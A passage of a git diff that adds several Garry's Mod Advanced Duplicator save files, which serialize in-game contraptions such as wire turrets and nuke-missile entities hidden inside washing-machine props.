:21=T:32F32410;}31E1F628{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}47C43298{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}31BFD8B8{Y:2=A:89.7601,-113.758,214.962;Y:3=V:-8.68066,-2.7373,3874.96;Y:4=B:f;}2EE391A8{Y:18=T:2E7CF580;Y:19=N:0;Y:20=N:0;}311C7A10{Y:61=N:999;Y:18=T:348EF9A8;Y:62=N:5.0500001907349;Y:63=N:999;Y:26=Y:64;}34788CE0{Y:18=T:3189A008;Y:19=N:0;Y:20=N:0;}33250298{Y:2=A:90,-150.698,180;Y:3=V:-9.77905,8.46484,3895.37;Y:4=B:f;}3348B318{Y:22=T:3221F828;S:"Src"=N:49;Y:23=S:"Out";Y:24=V:-1.46826,3.98755,3.70447;Y:18=T:345CD6E0;Y:26=Y:25;Y:27=V:-1.66992,-2.8916,1.16028;Y:28=N:0;}34882970{Y:18=T:347C2678;Y:19=N:0;Y:20=N:0;}47C3C278{Y:2=A:-0.0732618,-160.085,359.822;Y:3=V:-35.3108,-17.2246,3781.28;Y:4=B:f;}336F26F8{Y:18=T:323A48C8;Y:19=N:0;Y:20=N:0;}348D6A18{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}3365C2D8{N:0=T:333C2C70;}34B07D28{Y:18=T:348D6A18;Y:19=N:0;Y:20=N:0;}48119090{Y:2=A:89.8574,93.104,-161.399;Y:3=V:-19.5654,-2.05322,2.39294;Y:14=N:0;Y:5=T:34C0C110;Y:10=Y:41;Y:16=Y:51;}2EAEEB80{N:0=T:3486D738;}318B98A8{Y:21=T:32789058;}32F32E70{;}32BD3908{Y:2=A:89.6674,147.044,117.985;Y:3=V:-9.32593,7.97559,3885.7;Y:4=B:f;}1F135540{Y:2=A:89.8692,-150.497,99.6401;Y:3=V:-10.5454,-25.6753,3807.34;Y:4=B:f;}32C58238{Y:5=T:33860768;Y:35=S:"=";Y:10=Y:36;Y:6=B:t;Y:14=N:0;Y:3=V:-9.77905,8.46484,3895.37;Y:16=Y:37;Y:38=B:f;Y:32=T:34C11D48;Y:2=A:90,-150.698,180;}32D095E8{Y:2=A:90,-150.698,180;Y:3=V:-4.97461,-9.48877,3875.03;Y:4=B:f;}47C4B210{N:0=T:1F135540;}34895598{N:0=T:31BFD8B8;}2EF2C468{Y:30=T:322A8950;}328C0760{Y:22=T:32680E18;S:"Src"=N:55;Y:23=S:"Out";Y:24=V:-1.86963,2.06811,1.16016;Y:18=T:3496F438;Y:26=Y:25;Y:27=V:2.58887,-2.06934,1.15979;Y:28=N:0;}1EE20690{S:"2";S:"1";}3467FE10{Y:21=T:3327EF10;}32D06360{Y:22=T:32FF9360;S:"Src"=N:59;Y:23=S:"Out";Y:24=V:0.6,-0.98,1.16;Y:18=T:34A67EF0;Y:26=Y:56;Y:27=V:-0.21,0.56,1.16;Y:28=N:0.5;}34A42E28{;}31D886C8{Y:16=Y:52;Y:2=A:0.0047527,-165.14,-0.000183105;Y:3=V:5.1123,-3.74707,3781.12;Y:14=N:0;Y:5=T:329B88E0;Y:10=Y:41;Y:32=T:325A2FD8;}3487EAC0{N:0=T:317D70F0;}2E8DC578{Y:2=A:0.165637,-70.1531,359.976;Y:3=V:-21.1782,9.31689,3781.26;Y:4=B:f;}3186DF88{Y:18=T:326E0D20;Y:19=N:0;Y:20=N:0;}33465768{Y:17=N:20;Y:21=T:32D096C8;Y:31=T:347BAB60;}480DA618{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}34C0C110{N:0=T:48055188;}338A7F00{Y:5=T:31728428;Y:10=Y:57;Y:14=N:0;Y:46=N:0;Y:48=N:1;Y:58=N:0;Y:3=V:-1.45142,-6.21729,3885.18;Y:16=Y:59;Y:50=B:t;Y:32=T:47C445C0;Y:2=A:89.0224,28.538,-1.58362;}336C1F50{Y:16=Y:53;Y:2=A:89.9897,14.8601,180;Y:3=V:3.65796,-3.97949,3763.2;Y:14=N:0;Y:5=T:31824488;Y:10=Y:54;Y:55=N:41;Y:32=T:1F131CE8;}34C34FA0{;}33860768{N:0=T:33250298;}332930D8{;}34C11D48{Y:21=T:321DE490;Y:31=T:31704EE0;}32E402E8{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}3469C858{N:0=T:328868F0;} +Constraints:32F0CCF0{T:34710C80;T:31553240;}3170F348{Y:72=N:39;Y:73=N:0;}32E05358{Y:72=N:36;Y:73=N:0;}31FAF0E8{Y:72=N:57;Y:73=N:0;}337A90E0{T:34607E60;T:32749C98;}31294E88{Y:72=N:60;Y:73=N:0;}2E8994E8{Y:72=N:60;Y:73=N:0;}32001E50{T:1F140C08;T:346652D0;}1EF472D8{Y:72=N:54;Y:73=N:0;}2EAE1998{Y:6=B:t;Y:76=N:0;Y:68=T:34A32BA0;Y:77=B:t;Y:75=Y:78;}345C9930{Y:6=B:t;Y:76=N:0;Y:68=T:336C6F78;Y:77=B:t;Y:75=Y:78;}316A7A88{Y:72=N:60;Y:73=N:0;}32193C48{Y:68=T:32C75268;Y:75=Y:78;Y:76=N:0;}348EFF90{T:32EE0B08;T:347BAC88;}30FAC4E0{T:34AF9560;T:2E199E68;}2EA242F8{Y:72=N:60;Y:73=N:0;}32C75268{T:3272B548;T:2E8994E8;}3318C320{Y:72=N:50;Y:73=N:0;}3496EA38{Y:68=T:47D5A008;Y:75=Y:74;}1F1245D0{Y:6=B:t;Y:76=N:0;Y:68=T:30FAC4E0;Y:77=B:t;Y:75=Y:78;}3182A1C8{Y:6=B:t;Y:76=N:0;Y:68=T:347B0660;Y:77=B:t;Y:75=Y:78;}31092F40{T:32800C88;T:2EA242F8;}345E1BF0{Y:72=N:39;Y:73=N:0;}47D5A008{T:3170F348;T:316A7A88;}31EA0B80{Y:72=N:60;Y:73=N:0;}329B5A18{T:327DBF00;T:47C649D8;}1F3113D0{Y:72=N:38;Y:73=N:0;}33B5E0D0{Y:72=N:60;Y:73=N:0;}47C649D8{Y:72=N:36;Y:73=N:0;}31905178{Y:6=B:t;Y:76=N:0;Y:68=T:348EFF90;Y:77=B:t;Y:75=Y:78;}34B71D78{Y:6=B:t;Y:76=N:0;Y:68=T:2E3F0CF0;Y:77=B:t;Y:75=Y:78;}2E3F0CF0{T:347A58E8;T:34674268;}34AF9560{Y:72=N:56;Y:73=N:0;}47C54D58{Y:68=T:1F54A1A8;Y:75=Y:74;}31553240{Y:72=N:60;Y:73=N:0;}327DBF00{Y:72=N:37;Y:73=N:0;}34826D20{Y:72=N:44;Y:73=N:0;}32025BF8{T:34705DA8;T:34A27638;}47D45BC0{Y:6=B:t;Y:76=N:0;Y:68=T:33631AE8;Y:77=B:t;Y:75=Y:78;}34C264D8{Y:72=N:51;Y:73=N:0;}327DB9C8{Y:72=N:54;Y:73=N:0;}34A32BA0{T:32C40AB8;T:31EA0B80;}2EB22D80{Y:72=N:46;Y:73=N:0;}2DB61948{T:31F73688;T:330A1EB0;}33631AE8{T:31183A00;T:1F3113D0;}336ADBB0{T:2E4F4208;T:32E05358;}1F171AD8{Y:68=T:336ADBB0;Y:75=Y:78;Y:76=N:0;}3467FCE8{T:34C264D8;T:31EAAC90;}330B19A8{Y:72=N:63;Y:73=N:0;}315D63A0{Y:6=B:t;Y:76=N:0;Y:68=T:329B5A18;Y:77=B:t;Y:75=Y:78;}H333711B0{T:3496EA38;T:315D63A0;T:2D86EB00;T:47CF8478;T:47D45BC0;T:1F1245D0;T:34B71D78;T:332250D8;T:3290DFC0;T:2EAE1998;T:32193C48;T:325FA890;T:3484ABD0;T:31F52138;T:34B9EDC0;T:47C54D58;T:31E8FC28;T:3182A1C8;T:31905178;T:334F4CE0;T:48007020;T:33325828;T:2EE2B850;T:345C9930;T:1F171AD8;}2D86EB00{Y:6=B:t;Y:76=N:0;Y:68=T:32F0CCF0;Y:77=B:t;Y:75=Y:78;}4808C008{Y:72=N:36;Y:73=N:0;}347A58E8{Y:72=N:41;Y:73=N:0;}2E4F4208{Y:72=N:38;Y:73=N:0;}32D267E8{Y:72=N:46;Y:73=N:0;}32C40AB8{Y:72=N:53;Y:73=N:0;}1F54A1A8{T:1EF472D8;T:33B5E0D0;}31183A00{Y:72=N:48;Y:73=N:0;}34A27638{Y:72=N:38;Y:73=N:0;}34705DA8{Y:72=N:45;Y:73=N:0;}32EE0B08{Y:72=N:61;Y:73=N:0;}32011E20{Y:72=N:59;Y:73=N:0;}33325828{Y:6=B:t;Y:76=N:0;Y:68=T:2EA5CC58;Y:77=B:t;Y:75=Y:78;}47FF01B8{T:4808C008;T:345E1BF0;}48007020{Y:68=T:47FF01B8;Y:75=Y:78;Y:76=N:0;}32749C98{Y:72=N:46;Y:73=N:0;}3272B548{Y:72=N:54;Y:73=N:0;}34588710{T:330B19A8;T:31294E88;}47CF8478{Y:68=T:3467FCE8;Y:75=Y:78;Y:76=N:0;}34607E60{Y:72=N:39;Y:73=N:0;}31F52138{Y:6=B:t;Y:76=N:0;Y:68=T:31092F40;Y:77=B:t;Y:75=Y:78;}334F4CE0{Y:68=T:337A90E0;Y:75=Y:78;Y:76=N:0;}347BAC88{Y:72=N:60;Y:73=N:0;}2EE2B850{Y:6=B:t;Y:76=N:0;Y:68=T:32025BF8;Y:77=B:t;Y:75=Y:78;}32800C88{Y:72=N:55;Y:73=N:0;}3170B100{T:2E2E59C8;T:32EEFEC0;}347B0660{T:3318C320;T:32369738;}3220C868{Y:72=N:60;Y:73=N:0;}3484ABD0{Y:68=T:31792D88;Y:75=Y:78;Y:76=N:0;}2EA5CC58{T:31FAF0E8;T:327DB9C8;}334017D8{T:32011E20;T:3220C868;}31E8FC28{Y:6=B:t;Y:76=N:0;Y:68=T:334017D8;Y:77=B:t;Y:75=Y:78;}332250D8{Y:68=T:32001E50;Y:75=Y:74;}2E2E59C8{Y:72=N:58;Y:73=N:0;}1F140C08{Y:72=N:60;Y:73=N:0;}325FA890{Y:6=B:t;Y:76=N:0;Y:68=T:34588710;Y:77=B:t;Y:75=Y:78;}331B3818{Y:72=N:38;Y:73=N:0;}34B9EDC0{Y:6=B:t;Y:76=N:0;Y:68=T:2DB61948;Y:77=B:t;Y:75=Y:78;}346652D0{Y:72=N:34;Y:73=N:0;}330A1EB0{Y:72=N:60;Y:73=N:0;}31F73688{Y:72=N:49;Y:73=N:0;}34710C80{Y:72=N:70;Y:73=N:0;}3290DFC0{Y:68=T:3170B100;Y:75=Y:78;Y:76=N:0;}31792D88{T:2EB22D80;T:331B3818;}32369738{Y:72=N:38;Y:73=N:0;}336C6F78{T:34826D20;T:32D267E8;}32EEFEC0{Y:72=N:60;Y:73=N:0;}2E199E68{Y:72=N:60;Y:73=N:0;}34674268{Y:72=N:39;Y:73=N:0;}31EAAC90{Y:72=N:57;Y:73=N:0;} +[Dict] +1:"numbullets" +2:"LocalAngle" +3:"LocalPos" +4:"Frozen" +5:"PhysicsObjects" +6:"nocollide" +7:"Tracer" +8:"tracer" +9:"gmod_wire_turret" +10:"Class" +11:"spread" +12:"sound" +13:"force" +14:"Skin" +15:"models/weapons/w_smg1.mdl" +16:"Model" +17:"CollisionGroupMod" +18:"Color" +19:"RenderMode" +20:"RenderFX" +21:"colour" +22:"Path" +23:"SrcId" +24:"SrcPos" +25:"cable/cable2" +26:"Material" +27:"StartPos" +28:"Width" +29:"Fire" +30:"Wires" +31:"WireDupeInfo" +32:"EntityMods" +33:"delay" +34:"damage" +35:"action" +36:"gmod_wire_gate" +37:"models/jaanus/wiretool/wiretool_gate.mdl" +38:"noclip" +39:"Value2" +40:"models/props_c17/furniturefridge001a.mdl" +41:"prop_physics" +42:"value" +43:"gmod_wire_value" +44:"models/kobilica/value.mdl" +45:"gmod_wire_button" +46:"value_off" +47:"entityout" +48:"value_on" +49:"models/dav0r/buttons/button.mdl" +50:"toggle" +51:"models/props_trainstation/trainstation_clock001.mdl" +52:"models/props_lab/lockerdoorleft.mdl" +53:"models/jaanus/wiretool/wiretool_siren.mdl" +54:"gmod_wire_user" +55:"Range" +56:"arrowire/arrowire2" +57:"gmod_wire_input" +58:"keygroup" +59:"models/jaanus/wiretool/wiretool_input.mdl" +60:"models/weapons/w_missile_closed.mdl" +61:"StartSize" +62:"Length" +63:"EndSize" +64:"trails/lol" +65:"trail" +66:"sent_nuke_missile" +67:"smoother" +68:"Entity" +69:"Value1" +70:"Rate" +71:"models/props_junk/propane_tank001a.mdl" +72:"Index" +73:"Bone" +74:"NoCollide" +75:"Type" +76:"forcelimit" +77:"deleteonbreak" +78:"Weld" +Saved:757 \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/tits.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/tits.txt new file mode 100644 index 0000000..3f62eb9 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/tits.txt @@ -0,0 +1,52 @@ +[Info] +Type:AdvDupe File +Creator:"nil" +Date:07/03/09 +Description:"none" +Entities:5 +Constraints:10 +[More Information] +FileVersion:0.84 +AdvDupeVersion:1.84 +AdvDupeToolVersion:1.813 +AdvDupeSharedVersion:1.72 +SerialiserVersion:1.4 +WireVersion:Not Installed +Time:02:00 AM +Head:61 +HoldAngle:0,91.6688,0 +HoldPos:-17.6657,-64.4379,-78.8218 +StartPos:-1054.06,1856.05,-1167.97 +[Save] +Entities:01DEE060{S:"a"=N:255;S:"r"=N:211;S:"g"=N:86;S:"b"=N:24;}01DF09A0{N:0=T:01DEAE00;}01DF7140{Y:2=Y:18;Y:3=A:43.4621,27.9754,120.861;Y:4=V:104.488,-62.6321,650.63;Y:5=N:0;Y:7=T:01DD3720;Y:9=Y:8;Y:17=T:01DE2D80;}01E32520{Y:12=T:01DE8700;Y:16=T:01DE10A0;}01DDAEA0{Y:3=A:0.011978,0.114008,359.959;Y:4=V:17.5538,64.5293,78.772;Y:6=B:t;}01E02F40{Y:16=T:01E19F80;Y:12=T:01DE88A0;}01DDB040{S:"a"=N:255;S:"b"=N:73;S:"g"=N:140;S:"r"=N:242;}H01DE6620{N:85=T:01E0D260;N:84=T:01DF7140;N:61=T:01DD3BA0;N:88=T:01DCC9A0;N:83=T:01DF5300;}01DFA160{Y:3=A:43.4621,27.9754,120.861;Y:4=V:104.488,-62.6321,650.63;Y:6=B:f;}01DCC9A0{Y:2=Y:18;Y:3=A:38.5396,166.995,-118.424;Y:4=V:-40.3372,-77.3873,651.123;Y:5=N:0;Y:7=T:01E7F8E0;Y:9=Y:8;Y:17=T:01E02F40;}01DFF060{S:"a"=N:255;S:"r"=N:211;S:"g"=N:86;S:"b"=N:24;}01E197E0{Y:13=T:01DDB040;Y:14=N:0;Y:15=N:0;}01DD3720{N:0=T:01DFA160;}01DE8700{Y:11=Y:10;}01DDDBE0{Y:11=Y:10;}01DE6060{Y:3=A:38.5396,166.995,241.576;Y:4=V:-40.3372,-77.3873,651.123;Y:6=B:f;}01E7F8E0{N:0=T:01DE6060;}01E190E0{Y:12=T:01DE0060;Y:16=T:01DD8DC0;}01DD3BA0{Y:2=Y:19;Y:3=A:0.011978,0.114008,-0.0409851;Y:4=V:17.5538,64.5293,78.772;Y:5=N:0;Y:7=T:01E00D80;Y:9=Y:8;Y:17=T:01DEE4C0;}01E19F80{Y:13=T:01DFF060;Y:14=N:0;Y:15=N:0;}01DFDEE0{S:"a"=N:255;S:"r"=N:247;S:"g"=N:158;S:"b"=N:79;}01DE0060{Y:11=Y:10;}01DF5300{Y:2=Y:1;Y:3=A:49.5184,33.8837,125.273;Y:4=V:98.3903,9.89441,681.116;Y:5=N:0;Y:7=T:01DF09A0;Y:9=Y:8;Y:17=T:01E190E0;}01E25820{S:"a"=N:255;S:"r"=N:247;S:"g"=N:158;S:"b"=N:79;}01DD8DC0{Y:13=T:01E25820;Y:14=N:0;Y:15=N:0;}01DCA5E0{Y:11=Y:10;}01E0D260{Y:2=Y:1;Y:3=A:43.3959,28.0833,121.06;Y:4=V:-47.968,-4.2605,680.892;Y:5=N:0;Y:7=T:01DFB840;Y:9=Y:8;Y:17=T:01E32520;}01DEAE00{Y:3=A:49.5184,33.8837,125.273;Y:4=V:98.3903,9.89441,681.116;Y:6=B:t;}01E00D80{N:0=T:01DDAEA0;}01DE10A0{Y:13=T:01DFDEE0;Y:14=N:0;Y:15=N:0;}01DE2D80{Y:16=T:01E02D60;Y:12=T:01DDDBE0;}01DEE4C0{Y:16=T:01E197E0;Y:12=T:01DCA5E0;}01DE88A0{Y:11=Y:10;}01DFB840{N:0=T:01DFAF20;}01DFAF20{Y:3=A:43.3959,28.0833,121.06;Y:4=V:-47.968,-4.2605,680.892;Y:6=B:f;}01E02D60{Y:13=T:01DEE060;Y:14=N:0;Y:15=N:0;} +Constraints:01E0EE80{Y:22=T:01E0C800;Y:24=Y:25;Y:26=N:0;}01E19360{Y:22=T:01DFB8E0;Y:24=Y:23;}01DFF760{Y:22=T:01DCA0C0;Y:24=Y:23;}01DE1B40{Y:22=T:01E0C560;Y:24=Y:25;Y:26=N:0;}01E0DBC0{Y:20=N:83;Y:21=N:0;}01DD1F40{Y:20=N:83;Y:21=N:0;}01E0C800{T:01E25C80;T:01E13300;}01E16940{Y:20=N:85;Y:21=N:0;}01E17AE0{Y:20=N:85;Y:21=N:0;}01E1C1C0{Y:20=N:88;Y:21=N:0;}01E0C560{T:01E07860;T:01E0DBC0;}01DF1380{Y:20=N:84;Y:21=N:0;}01E07860{Y:20=N:84;Y:21=N:0;}01DE6A80{Y:20=N:85;Y:21=N:0;}01E06840{T:01DCCF80;T:01E16940;}01E03900{Y:22=T:01E06840;Y:24=Y:23;}01DCC3A0{Y:20=N:85;Y:21=N:0;}01DCB4A0{Y:22=T:01E11E60;Y:24=Y:25;Y:26=N:0;}01E2BA20{Y:22=T:01E103C0;Y:24=Y:23;}01DFB8C0{Y:20=N:84;Y:21=N:0;}01E015E0{T:01DD37A0;T:01DFB8C0;}01E25C80{Y:20=N:88;Y:21=N:0;}01DFBDE0{T:01E275C0;T:01DCC3A0;}01E12280{Y:22=T:01DFBDE0;Y:24=Y:25;Y:26=N:0;}01DF6940{Y:20=N:61;Y:21=N:0;}01E0D700{Y:20=N:61;Y:21=N:0;}01E58880{Y:27=V:-1054.06,1856.05,-1167.97;Y:28=B:t;Y:20=N:0;Y:21=N:0;}H01DF6420{T:01E2BA20;T:01E12280;T:01DFF760;T:01DCB4A0;T:01DE1B40;T:01E19360;T:01DDA040;T:01E03900;T:01E0EE80;T:01E08740;}01DFB8E0{T:01E1C1C0;T:01E17AE0;}01E11E60{T:01DF6940;T:01E58880;}01DCCF80{Y:20=N:83;Y:21=N:0;}01E10480{Y:20=N:83;Y:21=N:0;}01E2C460{T:01DF1380;T:01E10480;}01E08740{Y:22=T:01E2C460;Y:24=Y:23;}01DDA040{Y:22=T:01E015E0;Y:24=Y:25;Y:26=N:0;}01DFEBC0{Y:20=N:61;Y:21=N:0;}01DCA0C0{T:01DD1F40;T:01E0D700;}01E103C0{T:01DE6A80;T:01DFEBC0;}01DD37A0{Y:20=N:88;Y:21=N:0;}01E275C0{Y:20=N:83;Y:21=N:0;}01E13300{Y:20=N:85;Y:21=N:0;} +[Dict] +1:"models/hunter/misc/sphere375x375.mdl" +2:"Model" +3:"LocalAngle" +4:"LocalPos" +5:"Skin" +6:"Frozen" +7:"PhysicsObjects" +8:"prop_physics" +9:"Class" +10:"models/debug/debugwhite" +11:"MaterialOverride" +12:"material" +13:"Color" +14:"RenderMode" +15:"RenderFX" +16:"colour" +17:"EntityMods" +18:"models/hunter/misc/sphere075x075.mdl" +19:"models/props_c17/column02a.mdl" +20:"Index" +21:"Bone" +22:"Entity" +23:"NoCollide" +24:"Type" +25:"Weld" +26:"forcelimit" +27:"LPos" +28:"World" +Saved:144 \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/washer1.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/washer1.txt new file mode 100644 index 0000000..767b52c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/washer1.txt @@ -0,0 +1,46 @@ +[Info] +Type:AdvDupe File +Creator:"Some Person" +Date:04/25/10 +Description:"none" +Entities:5 +Constraints:4 +[More Information] +FileVersion:0.84 +AdvDupeVersion:1.85 +AdvDupeToolVersion:1.9 +AdvDupeSharedVersion:1.72 +SerialiserVersion:1.4 +WireVersion:1910 (exported) +Time:05:44 PM +Head:35 +HoldAngle:0,179.929,0 +HoldPos:-13.7529,-2.78108,-29.0403 +StartPos:-2941.68,1571.92,96.0313 +[Save] +Entities:31D79530{Y:1=A:0.000955575,179.756,169.636;Y:2=V:-44.2759,-10.9348,15.2012;Y:3=B:f;}32546E78{Y:1=A:0.0008614,179.755,165.836;Y:2=V:-44.2786,-11.5551,28.2022;Y:3=B:f;}2D0599D8{Y:4=T:32546E18;Y:1=A:0.0008614,179.755,165.836;Y:2=V:-44.2786,-11.5551,28.2022;Y:6=Y:5;Y:11=T:2D23E7B8;Y:13=Y:12;Y:14=N:0;}1E69A580{N:0=T:327AD490;}H1EB29740{N:37=T:33254710;N:38=T:32B3CA98;N:39=T:328014B0;N:34=T:2D0599D8;N:35=T:31DD6EA8;}2E99F148{Y:17=N:20;}31E06760{N:0=T:31D79530;}32546E18{N:0=T:32546E78;}328014B0{Y:4=T:31E06760;Y:1=A:0.000955575,179.756,169.636;Y:2=V:-44.2759,-10.9348,15.2012;Y:6=Y:5;Y:11=T:1E3CCE58;Y:13=Y:12;Y:14=N:0;}2E8A6840{Y:1=A:0.00101298,179.751,40.1606;Y:2=V:-44.2026,6.11072,15.7224;Y:3=B:f;}33254710{Y:4=T:1E69A580;Y:1=A:-0.000810214,179.753,131.035;Y:2=V:-44.2056,5.44958,28.8641;Y:6=Y:5;Y:11=T:33254770;Y:13=Y:12;Y:14=N:0;}1E69A488{S:"a"=N:0;S:"b"=N:0;S:"g"=N:255;S:"r"=N:250;}31DD6EA8{Y:6=Y:15;Y:1=A:0.00109822,179.756,-0.0129395;Y:2=V:-13.7651,-2.72913,29.0394;Y:14=N:0;Y:4=T:32B01B90;Y:13=Y:16;Y:11=T:2E99F148;}32967960{S:"a"=N:0;S:"b"=N:0;S:"g"=N:255;S:"r"=N:250;}32338AF0{Y:7=T:33EDE870;Y:8=N:0;Y:9=N:0;}32967868{Y:7=T:32967960;Y:8=N:0;Y:9=N:0;}2D23E7B8{Y:10=T:32967868;}1ED8F088{Y:1=A:0.00109822,179.756,359.987;Y:2=V:-13.7651,-2.72913,29.0394;Y:3=B:f;}327AD490{Y:1=A:-0.000810214,179.753,131.035;Y:2=V:-44.2056,5.44958,28.8641;Y:3=B:f;}1E3CCE58{Y:10=T:2E87BD38;}32B3CA98{Y:4=T:323CC658;Y:1=A:0.00101298,179.751,40.1606;Y:2=V:-44.2026,6.11072,15.7224;Y:6=Y:5;Y:11=T:32B3CB70;Y:13=Y:12;Y:14=N:0;}33EDE870{S:"a"=N:0;S:"b"=N:0;S:"g"=N:255;S:"r"=N:250;}2E87BD38{Y:7=T:31F02938;Y:8=N:0;Y:9=N:0;}323CC658{N:0=T:2E8A6840;}32B3CB70{Y:10=T:32338AF0;}33254770{Y:10=T:33EB4AE0;}31F02938{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}32B01B90{N:0=T:1ED8F088;}33EB4AE0{Y:7=T:1E69A488;Y:8=N:0;Y:9=N:0;} +Constraints:2E8A6870{Y:20=T:2E8A68A0;Y:22=Y:21;}325FBBA8{Y:18=N:35;Y:19=N:0;}3243F7A0{Y:18=N:37;Y:19=N:0;}32A70288{Y:18=N:39;Y:19=N:0;}340A1C98{Y:20=T:340A1D90;Y:22=Y:21;}340A1D90{T:3243F7A0;T:1E9FDD98;}1EB17F98{T:1EB18020;T:1EB18050;}32A70258{Y:18=N:35;Y:19=N:0;}H030C3718{T:2E99F230;T:340A1C98;T:2E8A6870;T:323C1830;}2E8A68A0{T:32A70258;T:32A70288;}325FBB78{Y:18=N:38;Y:19=N:0;}1EB18050{Y:18=N:35;Y:19=N:0;}1EB18020{Y:18=N:34;Y:19=N:0;}2E940110{T:325FBB78;T:325FBBA8;}323C1830{Y:20=T:2E940110;Y:22=Y:21;}2E99F230{Y:20=T:1EB17F98;Y:22=Y:21;}1E9FDD98{Y:18=N:35;Y:19=N:0;} +[Dict] +1:"LocalAngle" +2:"LocalPos" +3:"Frozen" +4:"PhysicsObjects" +5:"models/weapons/w_missile_closed.mdl" +6:"Model" +7:"Color" +8:"RenderMode" +9:"RenderFX" +10:"colour" +11:"EntityMods" +12:"sent_nuke_missile" +13:"Class" +14:"Skin" +15:"models/props_c17/furniturewashingmachine001a.mdl" +16:"prop_physics" +17:"CollisionGroupMod" +18:"Index" +19:"Bone" +20:"Entity" +21:"NoCollide" +22:"Type" +Saved:83 \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/washer2.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/washer2.txt new file mode 100644 index 0000000..422f2ef --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/washer2.txt @@ -0,0 +1,46 @@ +[Info] +Type:AdvDupe File +Creator:"McMuffin" +Date:05/30/10 +Description:"none" +Entities:17 +Constraints:16 +[More Information] +FileVersion:0.84 +AdvDupeVersion:1.85 +AdvDupeToolVersion:1.9 +AdvDupeSharedVersion:1.72 +SerialiserVersion:1.4 +WireVersion:1910 (exported) +Time:03:27 PM +Head:46 +HoldAngle:0,50.1559,0 +HoldPos:-13.7533,-13.7081,-22.3902 +StartPos:-2612.66,1544.7,96.0313 +[Save] +Entities:45270028{Y:10=T:45270088;}44E9A1C8{N:0=T:3F978740;}02FE8F50{Y:10=T:02FBDD28;}3BE18B90{Y:4=T:3911D898;Y:1=A:-0.0158939,179.295,43.8039;Y:2=V:-20.3286,26.7566,14.7606;Y:6=Y:5;Y:11=T:3A85FE70;Y:13=Y:12;Y:14=N:0;}450E80F0{Y:4=T:40184950;Y:1=A:-0.0158939,-179.113,43.8039;Y:2=V:-18.2566,6.07288,31.2722;Y:6=Y:5;Y:11=T:45005E18;Y:13=Y:12;Y:14=N:0;}415C4D28{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}3C196618{Y:7=T:406716B0;Y:8=N:0;Y:9=N:0;}39C98D88{Y:4=T:393DF420;Y:1=A:-0.000914834,-89.6904,44.9907;Y:2=V:23.3997,-16.8782,25.9188;Y:6=Y:5;Y:11=T:38491D68;Y:13=Y:12;Y:14=N:0;}02FFEC10{Y:17=N:20;}45270088{Y:7=T:45270180;Y:8=N:0;Y:9=N:0;}44AC77D8{Y:4=T:452706E0;Y:1=A:-1.60554e-005,-90.137,44.9985;Y:2=V:6.94043,-19.6874,11.8866;Y:6=Y:5;Y:11=T:45270028;Y:13=Y:12;Y:14=N:0;}02FF2D70{Y:4=T:02FB55B0;Y:1=A:0.00101298,-0.177995,40.1606;Y:2=V:45.5735,5.15918,15.7224;Y:6=Y:5;Y:11=T:02FE8F50;Y:13=Y:12;Y:14=N:0;}455C3C70{Y:4=T:44D41610;Y:1=A:-0.015893,91.2092,43.8039;Y:2=V:22.4658,46.7979,31.3598;Y:6=Y:5;Y:11=T:44F0AD30;Y:13=Y:12;Y:14=N:0;}44F86BD0{Y:10=T:44EF3808;}03000358{Y:10=T:0300CF18;}45378728{Y:7=T:45378758;Y:8=N:0;Y:9=N:0;}44E24E00{Y:4=T:3C152940;Y:1=A:-0.0158936,92.2705,43.8039;Y:2=V:11.0105,46.6788,31.2595;Y:6=Y:5;Y:11=T:44873988;Y:13=Y:12;Y:14=N:0;}38491D68{Y:10=T:39794668;}02FE96A8{S:"a"=N:0;S:"b"=N:0;S:"g"=N:255;S:"r"=N:250;}44893E48{Y:10=T:3BEFCE60;}42A3F4B0{Y:4=T:45781A58;Y:1=A:-0.0158929,91.9167,43.8039;Y:2=V:12.1216,46.5442,14.7606;Y:6=Y:5;Y:11=T:44F86BD0;Y:13=Y:12;Y:14=N:0;}02F95D00{Y:10=T:02FAAB88;}02F80950{Y:7=T:02FE9B30;Y:8=N:0;Y:9=N:0;}0317A5D0{Y:1=A:1.52482e-006,0.129882,-1.76342e-006;Y:2=V:13.7222,13.7393,22.3902;Y:3=B:f;}03146AF0{Y:1=A:0.000955575,-0.173009,169.636;Y:2=V:45.6255,22.2047,15.2012;Y:3=B:f;}4261D5D0{Y:7=T:4261D368;Y:8=N:0;Y:9=N:0;}43DCAC00{S:"a"=N:0;S:"r"=N:250;S:"g"=N:255;S:"b"=N:0;}3B706D50{Y:7=T:418B6FD8;Y:8=N:0;Y:9=N:0;}43B83A78{Y:4=T:44E9A1C8;Y:1=A:-0.0158939,-178.582,43.8039;Y:2=V:-19.6765,7.09607,14.7606;Y:6=Y:5;Y:11=T:4529E860;Y:13=Y:12;Y:14=N:0;}28E34678{Y:1=A:-0.0158936,92.2705,43.8039;Y:2=V:11.0105,46.6788,31.2595;Y:3=B:f;}0300C068{Y:6=Y:15;Y:1=A:1.52482e-006,0.129882,-1.76342e-006;Y:2=V:13.7222,13.7393,22.3902;Y:1